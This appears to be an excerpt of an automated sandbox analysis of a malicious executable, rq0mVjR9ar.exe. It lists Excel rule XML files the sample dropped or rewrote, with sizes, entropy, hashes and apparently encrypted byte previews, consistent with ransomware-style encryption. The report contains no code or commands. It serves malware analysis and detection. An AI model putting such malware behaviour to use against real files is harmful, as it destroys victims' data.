Preview:	<?xml.....K+k,Y....@..c..K....I...(.y6..\..,.....rj...J...&..g........PB.JQ......c.b.Vu.Ms.X......N.TC...i.{.6].A....uVm....>@7R.9.......-..,L....s....._.fo.........Fy..9..".....`.e..{r.....5..M...A...$.B...l.x.i{. ....k.WA..o....J..{.....1...N.$...9...9...Q.B..2.$.>.P............3...t;Iu....../...j$..(@.{):...0..i)a.pNO......<..v.<...5....,(<.+0..,-.U.........../.5.3[k.:#V..c...z47C..(+\|)`.i.y..C.k.....2.N.r...?H..~..;.M...(.>...uo;..yn..Ho..H..k.+..yf.b:..1..9.jC}...[.i>.>.=.h./...,..}....\o.[.T.+...s-@....[..)*..'.R!.t'.......la.l.\.......o`.%....DT.Z..........f.z..0..\.......S.....a........C.Ua.b..\|g.2....m.E...d~R.....}O.bf#.+;.U.~..(.4..-X(..",.(....3.UU..T.Q......W$.../...].A.....................{m.G$....dS...}s.8.5..L.H.>.......[.C..s..N.S.\.2"....K.(._t..c.....KNa.`7.(\.y[].......B.6..C..&.a#...."....l5.Is..i+kuCX.....Ig.&..v..K,..<.p.....5..,....e.D....F-J.v.a.O...z.h."b..b..f..-%.r..........f..[.xs..u..i..0....C.].q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.7773767597622125
Encrypted:	false
SSDEEP:	24:KQs8b9IolqApbjY9OZfAi+p8oWhq2dge7GiTkbD:Fs8b9IFAKoT+pbwRgSjiD
MD5:	F09B6D67A9FCD0E1383718892D3DF9F3
SHA1:	17649ED9A5DA1FD111FFBA24CEC7E89F3C48BF16
SHA-256:	0EAD9D74BDF5BB88D7D3E9EE3F59A9AE429AAF0F3FEEF14A436A0B43A4FAD5FE
SHA-512:	34524963CB7BA53634E9B061BA10150083C7F3F53FD8D691C529A0428B43B141F8C65B151698B5D323EE085A07CBF7C232B1F135B0A4F40919EB28E16A1370B8
Malicious:	false
Preview:	<?xml9....Mz.2.j>.o..f/E;..J.....9/.5.^..... .h...u. ....q]...$c+.uX.?......6...z.i..O.v.\|...h..\..H'..Yc....#...Y..>..;..b A...K]E1.\......'......@..XL/.f......9}.=.W...QG....b....L...w.W.l{......Sk+qC3Yx.....>.'9A.7:.o .Y........(..I.7....7..Wn..D....r."GJ....z%..^_....I.v.....#....IE...~....mcR..T..{...eF....q.U;<K..Q.Xa.Q..H.M.P.u.?.......f..b..:. /..[....g4k..H.w.Rs...5..7`...:..s.........?......e+Oa=....J.a...[G.V....doB.......O......\|.fQ..{...:.SHt..>.).......M..4...D..CN^.."snZ....\|..jb.G.Z...{CpAGg..g........h.'...}b...1....I]........ ....".u.?.X....#...N...W.QY.....CyW......T8.P..3.#H..l./2.........G..!..qZ..d..KBm..h.h+.Y...<...lc..5..E!.....?yLr].......E..<......%.5.OX..e..y..g.VM7...G..TZ.o!...../...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.725582152334558
Encrypted:	false
SSDEEP:	12:zxFE/cGpnGJZvYBthsmVuETWaPuSUv3UtXgabNVa2nPBEEzL1HVdF3bOH0+ixpZE:z8EGpnGJZvqthsmVupv3cD5NPJVddEh1
MD5:	2703E409B28AA32DAC3753683D86C5C8
SHA1:	ECCCC54B79F6F7F0233382F794FE5021D724085E
SHA-256:	6317A4010DC1B57DB7C0056C867CB415BEB62871FCA8658999533B7BF9FED528
SHA-512:	CC522DC3B156D53BE0596AC4849B641677F851998CD49E3974615D39A84C1006F1BC058A4C6AFF6F0F5914A318F9347B968262DF637D2826C04DC1CBEB022430
Malicious:	false
Preview:	<?xml.v.4..Xqr:UO4FZ..b..l...u.nD!..d..I......E...<.Z..'\<...f..v..4.....]A.l2(..(.3.2..-;......&.9....M.97.E.....q....;...z...........V.]...r9j.CL..v.^o;..<...w...(:.C@(DL.IVa.a.".]Y.]JW...5.Fi?.;.........N...WK.7y\|.....WkVO...Z...6&.g./M...50...N...r..+y.A..SJN..dI..F.+R.[..b.8T.s1..{#..O..%....d...)o/...9.X.x.Z..2..)HYk..v.M.8U..5N.u.....8.3..J..Z..N.g..I.;..P.._.?W<...b.D.B.m.}.....c........nO..fZ.g5(.....&...030.$..-.@.i&.........l.J.B.H.:^..w..Vy.].3.69.{.?..+=3."D .?m.......d..<5U.{.\..&_v.xB^&T.#......z.-..sw..?e.z..=....<u.\|.$6./...x"\5.Y.;...j.I]b..1.`.l.=..y[o..GM^...j.m..g.=...O...rpL)Ci...K>..'#.\|.L_....Bn........Z.=...0(..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.753634313887668
Encrypted:	false
SSDEEP:	24:8oob8armVM8zMneHvfO/wNdiDc77iEny4lI2VPiTkbD:8oW8N62+eHvfXNkDc/ddlfYiD
MD5:	51E50C2A14F0585A901765F9C0992166
SHA1:	10C8ADF03A67E43C3B37C5E493599CAE0DDDD32F
SHA-256:	90773257353017252D868DECB6E256E0EC1BFF7C5337D97FC186B8DD2951621F
SHA-512:	C5A6324A71FF4A520B9381F7B3687F11FE66876689B1A33FC4E87C1FA64FBCFE554E053152F67C25397254256E707B45913876292B5B92E4AC895A2C705F86FD
Malicious:	false
Preview:	<?xml..d..L.o.....)..[r\|.+.i.<.(.q!.Bs.`...'.....V.........L..!m..[...[..p..LG]:..:....!k<2.O....H....Y.8...C&..k.....T...7./......-(Vhe(zdEs...i'..D.......$;x......x.z.em.N:.'#C..`.r..).....W.6G..m....$3.gJ-..^Q..rz]N.6.....<.lBW...+.N..-;Y..B..0..%..t....<.-..y.:.{....IRm....So.dL,.V...d!.:....P..{=\.p.2.D.......W..$}..o...#:.i .....~.Q. .I.qV..=N"..vp..H..!l>...... .T.E.. ....8.....>...\|#.3.....#.nTc.q..%-....V.1..e..R..R.r...VjH..."...p<..d~.M.&.}+m..5.....%....G. .b@g..".Y8..\...>.P...e..Yl5..EH}J......{J)...<.~]5.`.ohw.zUd....~.R.Q...rq.j.Np...."7...w0.K3F..............0.]]_w&.7&.......-....i.ap"..QA..6....._m.=.n...b....A...la.....0.x.j~."./....V...=J...v#..g...6...Plgv.!K.w...R....>)\....=j..;.~.gi9r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.815380775383622
Encrypted:	false
SSDEEP:	24:qQOV0WdZSxP6C7ddSPuLkXHO36YL4QsZjmHnSDkRdzkmJw0BzMvGiTkbD:q15eV7dgsOs1WmHSD0dzZMriD
MD5:	00DB6A013E5DFA6C444CAF30F7A4BCB1
SHA1:	118A4AA51289D2A9F7809B794DAE2C06A702184A
SHA-256:	B7B57D688891DA38663D2C4444A8EE543D1717641A4957D2B916DDD2308F6404
SHA-512:	C0557E1E3EBBCEEF9AFC8B68AF42CCA3D167F2A6AC4AF441056FFB2A566EA3EDC6812B4D6911E6DE5A1A57C89FD0C582071DD5FB24776B4CB4C45F0A495390DB
Malicious:	false
Preview:	<?xml.0.p...>P...y..f.r..WR.a....\|.`Sm.O.I...z.WpW.kV.CmtE.$.9.>i.F)i..j......[.'..h.K.../].K.!.A..\|b.e.h3.7~...e.E..lc..St1G.y....UhT.<.T.....e..}Fwr2....r.{.q..H..o..u]...._.~,..s+.....V4....2.......sZ.k8IuF4G..~8mF....N..g......O.....mt..95..Z.cF..L..e.1.!.".A1l....)$...O.Y.V-^.?...i..q.R......5..q+^.d..jh5.H..QD^.1....{f....B.......-.".g...p.."c....(m;E..7.X..W..9A.Z.6.......2..y<....kO'.J..Vk....}..+I.r...zg..d. /.xA.X..z.=9.!..).....ou.....7p..9.......35Om^...~..c..._=b[\+mH...qi......kc/.[.......p.YP4v.rw....)8..4....y.........yt.w1...9.>.+[O.&X..dG+.C.w'v.X...!..\..#sM[.\..O..o.....Z..AJ.....8..U.n...s.A..L..#..=kO..o..[..%q..t..b............^#Q..[UT.S9..m.P......-..^~.9.m.C .2.;.F........{).$....[..9.....Ys.$%.......6.d..Z...9d..R.l.......*.&.[a+...~aeL...a...d...r.cCp.\...P...a.rM\|......vs.Qn}n...i..3..#eC.<........n..^y....rz.Hl6.:UHW....&.g...f...y.H5.1.9....uW...\|.;...O.1.B.......j.4^.bk.,.:Y_.A8"@x...U..#...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.782284883764536
Encrypted:	false
SSDEEP:	24:ZPZOiN43GloJGfiG4EQ1vXaxywHRY4ZugZndjn3RkM1XnOiTkbD:ZPwi+3GloJm1wwDugxdj3RkM1XriD
MD5:	B2120D4796488B07159FD09B4812D113
SHA1:	CE039D535B266E6DD94886A51BCB188F070B2EE0
SHA-256:	0067D545DDFD97E572BD0C05D3A9C66EEF00246D19894B5CE0218B14FE1396F8
SHA-512:	8CCC3A2A2D6F4676DB0B19C4C3E9A093F1A9152710FD5E786447DC3E9D067C0041C51403D45DBE700B26EFF8F8DBA68167BC9C542094E50E9F4787AA2082FCFF
Malicious:	false
Preview:	<?xml>.(.:.c.:@...Yi..d...^f..rl.h.}W...X..../.Q.+.s....6'......(......j...V:}d>n?.d.v.V.).~......^aec.#5.....o...........,.........d...T.Z..],.Hh@..d.3R.......Xe....`L...iBq....9.....@!....t...Y..D. ..<...e..NW.05....H.........Mg7..{.H.....g.>.nD.)..v.....?..P..k.GZ....Jx..6..X...`;......"/.v!=.K..K..HG4...[....K....x...N5.a..v.....7];.......N..wL&...JS8.$B-4+&.].a.$.G0s3._...@vOB.....E>...4..<....z.[g..0}.;......6..\|/.#...+9..3..E...s+I..t+.....'...i....f"Cg/.."./.I.+A\|....RS\..5%..Yr.a_v$..c.".Xs.#..q...LiG..n..[@...84..@v.o.......b.y."...o7.N...........F9x6esBWYI......4.@.A\i...p...w...........Y....aD%..........y......7.0....-.......w..4_.S....s.T"@.~I.U...e...4.j......>...w..9...@...y:...tS....o..1.....K.,.S..Q.~.L.N.B.6U!.s....y.......+".....lP^z.y>+..6S:.s...t..-..=.....O...*...2.1.Y"L..=r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.771855208542523
Encrypted:	false
SSDEEP:	24:igec1lt5g+FnUm6zQwcM30yUjR+vMUQF2vlGaPqxfff07C/w1iTkbD:igecztdnUm9w30HjRUggvlG8qtH07sbq
MD5:	0B165F6BF1BA664D3F55BFA602D5CE7D
SHA1:	AF320FA4E192F0102D53C9D4496CC0B3131D66D6
SHA-256:	9665D3F5D79826AA32EF6E3E7F059C9CF2C2C59B8F91A1E9A579A439C6E0FD4E
SHA-512:	43770FCD34F737162D6E4B001CA986E255AE07E926EEDBA38736E4A706336B901C8D7468B02452C66F39557F500EB607316BFDB4B0777533CE45D22EDC059008
Malicious:	false
Preview:	<?xml.. ier(.A'......c.......s8}.....Nz.Gg....ma....UC..-.5..E..p.!j..D\.}....qq'i..Z.w..y..o.....9..p.......$.E.F.I.......\|............4.*....j.8NK...Q.."~..7..i]..2,6....(=I...]......h.,.V.@R.FO..,-....g....4..]mLJ..lv.W`.y......^....n.E:..I.;..&.....h.o9....V:.0v..B@.]. hp.s2.:..j../.49..3... ...pN...uE..q.LN.3.eq.....R,E.vA.K..3W)U......pD.[..U:...z...Y..(D...}!....fj...Q...p/..\|..x./d;...G4b.....K.....<...K-^.#gq......3{..Q..a.....\..Au\..)..uk'0..<u.8s..G....k..k.<d.?.7.....,..d.....yl..p..".{..................s.....{...dz.u.....Zr.:...X.+.@.E..i-...<.....KG...4g.jCDa.S......G..yk.`...n@m)..by.e6C_.._..J=\......<.E.1.s.....cw.+..........7...<Q...R...>.Z....?.Z...,..W...Q..N..W.......kH...I.....%.n.[..K.t...{..Vg;1h..........I...D..Z..+.v..;...C....X......T.....rz.N}.n..?.../$hO..%.!....w.s........'.m..>.B.FnKx...NQ..o^...K.p.X...?.i....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.874206409214171
Encrypted:	false
SSDEEP:	24:5/7MVKwmj5+xtuZS1dyB5PBD+C6VW888xUjweKE7dq3P4c8vxMWsVe1SLXiTkbD:5/gVKw3xUS1d+6g88FME2cMWsGSLyiD
MD5:	FE3F2C74E02DEF98AF4FEF7F185669E3
SHA1:	F04A3AC65B7CB9453599F6E61AC26DFCB0239802
SHA-256:	4E81728059F2A76291162F5034B96414313C5BA9B9E0ABC0A224FC95FD31754A
SHA-512:	6B81E600294DD920B65A81AB8D4B157D34146ADE7A7F47ABE6D50F40A52CAA6DC014FDD4A3F35CA5CD333C11A8E0FC44DAB294E280B62ED46D5743FCE2202DF4
Malicious:	false
Preview:	<?xml...FR.%.....q.<.....v..>....}..K..&..m.s.A#.I.C..A.......6m._..n~.Z..L\T.../3....(...j.P...v_/Iv.U.7..c....,.B..#..(.oy7.h..o.D/v{.P..4q=...u..'C..,_...Vd......F.G.A.L....Sde..T..L..Z.]..".l.uE=...Q...?.@....u.g.......FSa.....Lx^..Xa.....6........?.._.... .".f<G.^o..j...O..5..[Q1e.%o...4u8P@.Y.XRN.'.._X..T.T.r!QE.....-...c...q..HqB\..g_.N...5.&nj..J....8...p.5.g^a.>..."0{`.(..U..]..g..f.o..pt.YM..'\.=.u.......__d....R..G........72..'.:.u..!4..W.j...`?...M.......).'...8.!V..Is..........T.lh.@[..S..r....5t.K.!.cd...\6M.V!..l.. `.5.4o.=He...0....t.^.....]l.m2.3.....].+....$..c....'..O....Wd.bU.#r....!.[.hp.u@..z,n.....3.N..>..........zZ..M.........m=v]...08TH.i.~G.9k`.T........{.xB....i...%0Q..A.q..x.0._.m.\|..7.z.C....3d'...Z...G...":..g.@E..C77... ...j..*...Y.T.........D.....-c..~...7b.\}.-..k.H.............U."..).. .7i..?.1.%....z....)V..^...(....x..d.y....E.ix..t...._.,..f........h...u~;-.s:..d..=Cb8..p[ok...t....+...]i..&..y...{.E.3u!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.835564498697675
Encrypted:	false
SSDEEP:	24:RZpCAy7KlS2XystTBY8XEG56NfzsI/7QmZ017/fe4whK5oP/pYttFiTkbD:rEA1tystTa8XEG5mr/7Q9TeVMWP/pYtJ
MD5:	2E949A6B3E59ABE43F5B51CB6F626D56
SHA1:	6B244DB3ED9DFD5A26C2CE67C09A8F829C25A697
SHA-256:	40B694B2EF0EFBE71C43DBAE9804F042F23DE5B6EB3EB2C8A87088876BF2135C
SHA-512:	77AC5DE0737E6595D7453CAEA8636299C9878610AF885A73A1B4C009673B07822504858E529C83F99A30CDCFE5A962DB8B8108AD68EFACAD0819D84F2AA512B6
Malicious:	false
Preview:	<?xml.=am"yn.t,VX. .T....9,..[....B...?..^3.<.V....L...x$.....Z....5...Q.n..^MI.....a.y.nV.0.b.5.n.u...T..Q.yvP.?E>..=.....(.T..7i}.g.O.b.$.'K......8....o4.D.BS...y.......K.e.d.f.a....j..e}.(..n;.$....9.w...w..c.....d..H"..,_.l.a.TJ..x#.b...F..0(.....&..!5T..L.UoK..P..c...7hMK._..U.e.e.y.. .;.....}...b.K......dy.t..+)..d. ..R.oQ....vF.'...y_Q..F..ZdA9jl.D...@...;....0....P..p.~Tt.~l...O....:/,..o....fG.I@..?D%O...$1.}\Y...>$....C...4.A..2{.`q......ox!#.....{.O....&.^{q-5+.. d4)pS..N..c.0xh^..8......X.9.}..S.]Ji.=...o....Tk..X..E..[u.&.6qa......9V......yf;.'.U.....K..,.....H&8xw..,.6...X...K.7`0...,.+....d...f?`Cy.q...o/z.[a....ca.Z.}........=D8.l^.{......U.'].0...?/.........fM.......M...F.jMSE....].5.........^.'?xO....CC...m...[.t[.+`D..]...D,h:.Mx..[>..h/.Q.........2....a=S..Y.\.\|'.w.....jH..B../"....\d..-....%...!.p.o.g. .o.5...h..o=..[.dZ...,....#....s.k.Y....UnLf..Et..\|....64.9`s....-f`,...o..9.^.....7..G.y7+..(-.#>.%.v.Q.,.u.F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.812250954680556
Encrypted:	false
SSDEEP:	24:MUpxqa1H09hpJMrsWC0jBYkts99wuHp60JoTM0mNF98KamDS6LEAI9fpviiTkbD:Jpxf1HUDMxFBY39LpJJoTeX80DS6wAY0
MD5:	2808FE5D386492D2F875BB85A5341678
SHA1:	DDB6ED7BDC84AA6A54B4C39DCE8C509D529B1F61
SHA-256:	C046647F79A4758E9FDD5B6334CA99ED1A34FA44DFD03FA1DEC54AE1E9B243D8
SHA-512:	796B4C4DA4A2F03F52BC0A9832098934703419FB66427899C1CAA02B4933B8554C54849A0BC7A2E4CB8AFB1B39C8892A9B14A1725CCC5ED3CB541A4401D396FE
Malicious:	false
Preview:	<?xml....h.....</K..Y...a.3-.......^.U.L.f..'..x70....X...wT...lK.r...cS]..8.G.%.VPL.RR/.i.V'$\|F@...oJ...lO...%..?..b(.S.p...1K.....8......J._.....n...;....I(../..gT..n..'e.$.IQ....'^U%...&.T.....$.....&.Q.S.a^In.E&..VX..=I....u..#....\-..3......_..].....a.\..5_.`.K......<.n.W.5a#.LS..Vn......I.....e..$t..o..Hm..Q...s..j:...2(.2U..[R3_. .Rd...\.....}..Hs.T&.vh.n,.z.-..%=.....M.q.k\|1;d..q....D.....U..zi<...iLNuA..j~?..(&.C9...63...U..Lm..&$.c....p...V...`\|..L;.5..np.Cf.....f.k...0@Y.$WG....Ps.r.Y>z..?1.wH...1.F.w......E/.......M. .b...zR.]uZ.Yr.'a..PB.}6S...H.:b1.~.....c..22?~,.T78....o..4iX...r..0px.....!.EUzu......uQ...:.......nsW_uzu."}:...jl.K.6.b... eP'.A..6.x.a.65..K/A0e\.....5.9.\|...<.6.5s$._....?..,...QbU.\...&..-C..;.....7%.)P&.<...=....-_Tk}uR.....BeY8.. .. ..........G.?..@G..$1...=f..J.(u]?....D:y..2..Ru.)p.........._..(.{A.....EL$..q..w..".DY!..rv...1.B..j .X{~}....+.2..c.v^.<B..+{^......5...N.n.(....S}9Wn6[.T.o_...N\.J.W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.772070880216511
Encrypted:	false
SSDEEP:	24:3cmiwNpSKNuZ34wLCQzTrmlfbrqTSMIiydWeS+lIciTkbD:sPO8KNuZ34wLFf8roIiuWeSEeiD
MD5:	06AC2CCBE7EF8CAF22048038FB45BDDF
SHA1:	8A3373E178C0844B6CD3E430C57AF55B7C79AD4F
SHA-256:	33E03D0FEA9840CE792E25A8C91B38CD94766FE3D8FA9CD168131298C946C5D4
SHA-512:	C83206758A12FED9EF41001D4DA1DB7E83293839E9C9C11AB138501DF89FD59343AED11955953EB729B84D0DF77793DE7F026EEE2055C99C35A4F4B657F8DAE7
Malicious:	false
Preview:	<?xmlV_tH.........~.y.....%..&.N..HW\jHDZ/=V..1....O.]..t....=...GPJ..0.......#.~.!.rQLT.I.@a.m.oay...p.....3.\w..h...-..e/.....S.=:..T..(i.Y.!5....#.%.J.....X..#... A..+..AK~...v-y.i...h.3v......C....Eo.B......+....e>+......I$(.0,.....x{..i.Z..EH0.v.W...7...3....h^.....].W...5SB._k.....J...'..Nae\|..Dq...[+..f.E...)5.....&".[.'.X.X..ou.w..ZsK.ZqN. ...c..M.S/=nF:...0%...r8.....Av......U:A.i.....S .....nz.....+...we./;.....[V3d...j7..-fg.SF$...K;}.K?..........;...=.....p..N=3.n.b8\|..w(.Z......UD..d......4A. 4U...D]1.z.....K.h.@p....7(.w.p.~C.J. 'pRNR....{....Q@..$&........./tGR.8.$!..p....0L+.pw....>.".6....<.N..=..E}R\..5j..w]%/..m...;...F%.~h..#_.So..~W......]4vU#,.17.y...k......07Gl....uf.,}..:..D.;.bE2..D&.!..X.2...K.Z.H.......K....q.j.E....E..UJ.....?)_...J#aK-.\...Z;.d.[....A....@c...D.f.+$=.O..>.....:.....;....Lf.=...7..y.D3[..6..N$..u.u^f1M.c0a.fA..k..;...Yoai..'....%d....%.._q.Z..ewH..j..0....-..L...[.UV._..1ar@(A..=-.+..oY.,S..G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.823472727085085
Encrypted:	false
SSDEEP:	24:gD2y7tVPBiBAO1g1jNUOMLh5l5U4MFwSbcuECSR8iTkbD:gXnMOOq1jNIhxU4K4bCo1iD
MD5:	7EAE7DF94BC7D81821BCBC820799A919
SHA1:	51D65D2FFEEA3CB2E49EF38016CE4A3E650A86C4
SHA-256:	58CE5F43C6FC1013A369F04ED897E032B121FAC838B3409BE22405A1C97AA148
SHA-512:	C3D5D1D35EFB20045C9F360F08A427F9A89AA261E47A9273713B6D07B9EA389A10172B42EC01BE4F67EE3B957B88552C3E400D4033F427DECEA819ADACAA7A00
Malicious:	false
Preview:	<?xmldy.Q.....n..H=... .).."-o......d...a.....[B.!:...1.(>.Y.J>n...+....J0V.o"e..E......g..8.e...+..sM..z.Nf./J../....p..Kw....1.....8.-...;.[.ft..........!.DV...;..R..2:~...4......v...P....#zY..a..1..$..]....,.@....Z..-..H(7..cy......P..U..&..3."T...$...[...m...S.....;$f.H4.....Q...V....~..c..)KR.ys....<7..;...X.)vJK..A..z.'...........mH.y=].E2../.._.I.*a\|.0.gj.O.w&...=...0<\|C.q...9q.g.!`..............^....CT..A.U:.<......^..e#..D..w.2.G.#..}-$...SC.a.......K..D.V.!{+#.L....w#...zY...^.....kP...C..)...%.L.\|..8...%.u.....+I..).].+K&....rN.....f. ....R..B...R..{.:....v."...2t..B3..Z.bT6V......W.....j..?X..-"..}.w..0....T.l... ....9.._./K......T.4....'.m.H?...RK....,..<..3......=.C.&3.A.b.i...2.Ae+f.i......Z....K..`.wxg:.Hz}M...\|.i.F......I../.}.A...d3..o.}B.Y..O...Ziv....W@6....+....3>r`....Vl.A.xC.y...~.pTL1.k..0B.;h...3.tg.w.+...c[G...0.....;I.......2.j7_...v{.0[..,....y9F..+..SyE.....TA5......U...%......cB..&.L.!@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.831406295636484
Encrypted:	false
SSDEEP:	24:Rvhz6MQUjGqUsqdhBY41Db+7l35fxL3QS9nvKBg3WetaDRiTkbD:RvR6MBqdhBY41Db2DQS9nvqgmKiD
MD5:	F659E8AE19F6E170047A588ACC64E8D7
SHA1:	0955B57BB88C274AACA7EC66C8D1F699A4226F6F
SHA-256:	CE1345E1AF10D3B34777D0B73854F665960264E62DE2BA28FF27281B452B1A2D
SHA-512:	66F851D127CAA8EEBD035332D51D5A14BB45A712A16F09028D8181F49EEE924D822882381A852715A0B578F39B2CBAC97AD436B87CFE037EBF98673FE4BCA406
Malicious:	false
Preview:	<?xml..ig..Q4..E.9..S...v".@K#....u.....Y...7...Y8....L-....;...^..}.E`T-. ..soW\........Ck..`.k.T/./.sG;lrg.... .Q..)I.e.:....f#....".e.......W.....x.y.U.....SZ...E$.j........xauP4.....<...S....MX...89..F.v.75A.....C..Fct..].$./C...)Npg...S^b1!,.['...$..A.....V..I....Z.-..B...x..R...%k.=...\|^8h.8...9...{I8ls[..........pXg....).4..............g(Q.k..C..Z..+lKd.v."..D....6.p....VD......o.ltH...8...w..[...d.g.?$.I<.q.M.'..QJ.....b.E....K..m.:.....,...0Yc.@..Z.../.f..g...N..l.B..k...4.}.f....\|...t'...!Ew.....(.).......U...=..\|RF...RO..`N.).I..=.......r.>.\...g...N...9....;\0..7.o..j.s......\..#g..0...$..&...+&...(.....Z1.i........3.2......biv.s}...Mp..K...+......#....."..a.Vmc.{_}dHR.Vz;..(....S.Lh....9Mr.~..o.......-..{.F0.9h..r.X..4i/JR....&-Ge...,....:2.K....N.u..J.......K..4..XTa..v.Yp....P.../1....d...a..s....p...5...5.6}A.h......t...4....{.....D..-h.!.$...;.?..e.hb....j...&.".=.G...Zh..d,m.tL.R.Ak.S.".].7......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.783053919234324
Encrypted:	false
SSDEEP:	24:7Odp39s+XaatXtye5vk4ll/U885W2fciIsW28uQTQIIk0kx1zu3ayyiTkbD:7yw+XauK43MpW2fciIsW28RnIlHiD
MD5:	902152FC8CFBC94393965C903AD546ED
SHA1:	4E28D0427638FBE1247D43727871F4FBFD9A4B06
SHA-256:	16F0B89F6AEF0DFDCAA16FAC8AA846226896FB71AED6976ED4648624EBCEE16C
SHA-512:	1F8A0A9101C2C765AB2FBD7E6F62E67234403BD78A9249C605260572E8CD41F226A9266626F41FC19E513E68FC0FA135CE988EEF727556D1F4A420C866282911
Malicious:	false
Preview:	<?xml...%..K8...<PO#.]R.MZ....1.k.O}F.S.8...[7^d.2..q..a...P..q...H"S....p....82S......y..3..l..^6.B..........f..i6..).XL..D;. ....W..w.$..lk..H. .P1.%.Z.z\G.q.........j.%h....5..S......G.b...5.....u.m.....,.....~L..d9!V,...,R....+`;q.8..?-..........._..<..m5....6.1.).N....,..6...I.....~.M.......~.@...$im."XU..8.p??AT. ...oU.$h%.\..I.......[....b....,..q....B.Y...k..Cr.Fc.Er..C\|qp.\"......-...0....T./?....v.^5...F..x..j...&...tK...ng,u.j....i....a.X.......cx0.....n>.Q^.....a.%f=..i..{....P....z.^..;..d.7.wK.B.}.g.s....S.?............&..`\|.u.),z. .T.a.M....M.`d.MxI. =..~.Z......d.V@};.P....J.4..]..ih......v.D<$.BRb..@.V.G....R..z..U..w.ko...7_7.E....o.%oqy..8..Y..-..r%..u.o..n.....o.}....$...,P.ETk.87]d'.d....!A......zl.d...".Ub.._G3'm......sO..v.x..(B....x3..8....`Fh...F*.....b{..=...i.....Z..P...'.....p.~.7..S.~x.B.."..C..P.....X...,$I$.-.N.+$.F..W.2...Ond...i.n ....o.V ..q...1..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.946638791464694
Encrypted:	false
SSDEEP:	96:GneG2MHEg3bsMoIAtevfzDQkdU7EN7RohBn7AqpFVwlDdUdIm:GneGagYIAtMz4B7AuKDdUdX
MD5:	0E5A7818D8E5288EC09ED037BBA7F9B3
SHA1:	72878BE0401AF54012A795CAE7720864EA3BF44B
SHA-256:	BBAD4191645E254A6D406E343FCA5DE6CD34C49AB9E456B67586631430EC333E
SHA-512:	537B740185747A1D89E82D1549DD1FBA85AF776BD91CBF5498B33BE2096B9894EBF082064357B80AE8B170E0C68711DAAB36F8958136C2E0B8EF7AD0C7748F8C
Malicious:	false
